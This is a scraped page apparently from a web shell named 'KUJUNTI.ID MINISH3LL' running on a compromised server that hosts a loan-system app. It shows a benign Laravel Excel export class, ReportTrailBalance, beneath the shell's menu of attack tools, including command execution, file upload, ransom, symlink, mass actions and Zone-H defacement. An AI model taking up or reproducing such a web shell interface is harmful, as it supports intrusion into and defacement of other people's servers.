KUJUNTI.ID MINISH3LL
Path : /var/www/html/thb_loan_system/app/Exports/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/thb_loan_system/app/Exports/ReportTrailBalance.php


<?php

namespace App\Exports;

use Illuminate\Support\Collection;
use Maatwebsite\Excel\Concerns\Exportable;
use Maatwebsite\Excel\Concerns\FromCollection;
use Maatwebsite\Excel\Concerns\RegistersEventListeners;
use Maatwebsite\Excel\Concerns\WithEvents;
use Maatwebsite\Excel\Events\AfterSheet;
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;

class ReportTrailBalance implements FromCollection, WithEvents
{
    use Exportable, RegistersEventListeners;

    public function __construct(public $data)
    {

    }
    /**
    * @return Collection
    */
    public function collection(): Collection
    {
        return collect($this->data);
    }

    public static function afterSheet(AfterSheet $event)
    {
        $event->sheet->getDelegate()->mergeCells('A1:D1');
    }
}

© KUJUNTI.ID